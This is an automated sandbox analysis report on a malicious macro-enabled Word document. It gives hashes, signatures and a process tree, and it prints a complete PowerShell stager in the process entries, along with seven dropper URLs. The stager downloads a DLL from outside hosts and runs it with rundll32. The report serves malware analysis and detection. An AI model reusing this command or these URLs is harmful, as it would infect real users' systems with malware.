Overview

overview

10

Static

static

8

uetheysd.docm

windows7_x64

10

uetheysd.docm

windows10-2004_x64

10

Analysis

  • max time kernel
    100s
  • max time network
    42s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    25-04-2022 02:33

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    uetheysd.docm

  • Size

    140KB

  • MD5

    391dca4cf91ae12aa1b5ac9d0ac3ec41

  • SHA1

    47cfcf587d838f68a8f8df53ea3afae475436992

  • SHA256

    06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8

  • SHA512

    de299156048c8cb81fe9a5e839442347d118b9de47b353500647a73d4b97f010dcef6d6eb3c7ee9b04874010efd0b9f3b8790f8f9013a47271528eaed1be0c41

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://evgeniys.ru/sap-logs/D6/
exe.dropper

http://crownadvertising.ca/wp-includes/OxiAACCoic/
exe.dropper

https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/
exe.dropper

http://immoinvest.com.br/blog_old/wp-admin/luoT/
exe.dropper

https://yoho.love/wp-content/e4laFBDXIvYT6O/
exe.dropper

https://www.168801.xyz/wp-content/6J3CV4meLxvZP/
exe.dropper

https://www.pasionportufuturo.pe/wp-content/XUBS/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\uetheysd.docm"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1056
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1308
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:108
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1996

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Privilege Escalation

    Defense Evasion

    Modify Registry

    1
    T1112

    Credential Access

    Discovery

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/108-64-0x0000000004C10000-0x0000000005261000-memory.dmp
      Filesize

      6.3MB

      Download
    • memory/108-60-0x0000000000000000-mapping.dmp
      Download
    • memory/108-62-0x000000006AA30000-0x000000006AFDB000-memory.dmp
      Filesize

      5.7MB

      Download
    • memory/108-63-0x00000000024D0000-0x000000000311A000-memory.dmp
      Filesize

      12.3MB

      Download
    • memory/1056-55-0x0000000070111000-0x0000000070113000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1056-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

      Download
    • memory/1056-57-0x00000000764C1000-0x00000000764C3000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1056-58-0x00000000710FD000-0x0000000071108000-memory.dmp
      Filesize

      44KB

      Download
    • memory/1056-54-0x0000000072691000-0x0000000072694000-memory.dmp
      Filesize

      12KB

      Download
    • memory/1056-67-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

      Download
    • memory/1308-59-0x0000000000000000-mapping.dmp
      Download
    • memory/1996-65-0x0000000000000000-mapping.dmp
      Download
    • memory/1996-66-0x000007FEFBD41000-0x000007FEFBD43000-memory.dmp
      Filesize

      8KB

      Download